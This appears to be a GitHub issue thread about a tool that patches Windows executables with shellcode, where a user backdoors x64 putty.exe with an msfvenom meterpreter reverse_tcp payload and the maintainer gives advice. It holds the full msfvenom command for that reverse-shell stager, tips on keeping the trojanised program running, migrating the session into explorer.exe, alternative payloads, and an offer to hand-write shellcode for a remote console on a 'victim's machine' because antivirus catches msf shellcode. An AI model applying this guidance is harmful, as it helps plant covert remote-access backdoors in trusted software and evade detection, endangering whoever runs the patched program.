Closed ShonenNoSeishin closed 3 months ago
Sure! For x86 multithreading is a special bytecode preamble which inserts before the custom shellcode. The gist of this preamble is calling CreateThread WinAPI function with address of the custom shellcode. I tried to implement this trick with x64, but I couldn't automatize it with any shellcode. The x64 assembler has differences in call convention and memory aligning. I guess it is not possible to make the "silver bullet" here. If you know how to write and debug shellcodes you could add CreateThread call manually. If it's interesting for you I could try to explain how to add this call.
Thank you for your answer ! I'm sorry but I am not enough good on this topic to help you to add this kind of feature :/ . I would like to thank you for your project because it is well done and help me to understand the topic of binary patching ! I'm currently working on ethical patching project on x64 putty.exe and I wanna add a shellcode to this PE. I have created the shellcode with msfvenom (by specifying the x64 infrastructure) and I have manually added a new section to the PE with this shellcode. After that, I have changed the entrypoint of the binary to point this new section. Now, when I run the exe file, it run the shellcode successfully ! But even if I add a jump instruction to the original entrypoint at the end of my new section (that contains the shellcode), the exe program shutdown after running the shellcode. Do you have any advice for this lab ? I am not pretty good in this topic and I don't really understand all the stack process but I think I have to do something else in order to make putty work after the shellcode has been executed... (I found a lot of documentations that make this lab but only in 32bits...). Note that when I'm creating the payload, I use this command : --> msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp -f raw EXITFUNC=none -a x64 > backdoor64_NoExit.raw
Here is what I wanna do but this tutorial is in 32bits and I'm searching for 64 (This tutorial use your project but I'm currently trying to do it by hand to understand how it works) : https://medium.com/@lowpold2/how-to-patch-exe-files-4767a5df33c4
Thanks in advance ! (if you wanna contact me in another social network, please let me know)
You'd used msfvenom shellcodes. Very well! I recommend to use my project for msfvenom shellcodes. But actually msfvenom sometimes produces not so good shellcodes (their issues in the bad exitfunc at the end; it seems that EXITFUNC doesn't matter for meterpreter/reverse_tcp). In your situation I can recommend next options:
set EXITFUNC none
). It could has sense because your generated shellcode by msfvenom is not a real meterpreter/reverse_tcp. It is a stager for downloading the real reverse_tcp from the listener machine. If you will have success and your original program will not close just try to migrate to another process (for example explorer.exe) in the created meterpreter session. It should resume running of the original code.x64/meterpreter/reverse_http
or x64/meterpreter/reverse_https
(you can get the whole list of available payloads with msfconsole and execute the command search windows/x64/meterpreter
). Every payload could be used with msfvenom
-m resz
option instead - it will try to resize the current executable section and deploy the shellcode in this new spaceP.S if your are interesting in a real usage of shellcodes I can help in writing shellcode manually (creation of remote powershell console on the victim's machine is easy task). Now I'm working on my new article for medium.com about this topic. Writing manually is a better option because every antivirus can detect msf shellcodes and you have more flexibility to write some features like running within another thread, minimize the final result and etc.
P.S.S Yes, I wanna contact with you. I have not some social media, but you can text to me on email lowpold1@gmail.com
Thank you so much ! I will come back you tomorrow by email to not spam this issue !
Thank you for this issue. I'd reviewed my old materials about the shellcoding and I'd found the way to implement x64 thread mode. I'd commited this feature.
Hi, Thank you for you work ! Can i ask you to explain me the difficulty to implement the multithreading feature for x64 PE ? Thanks in advance !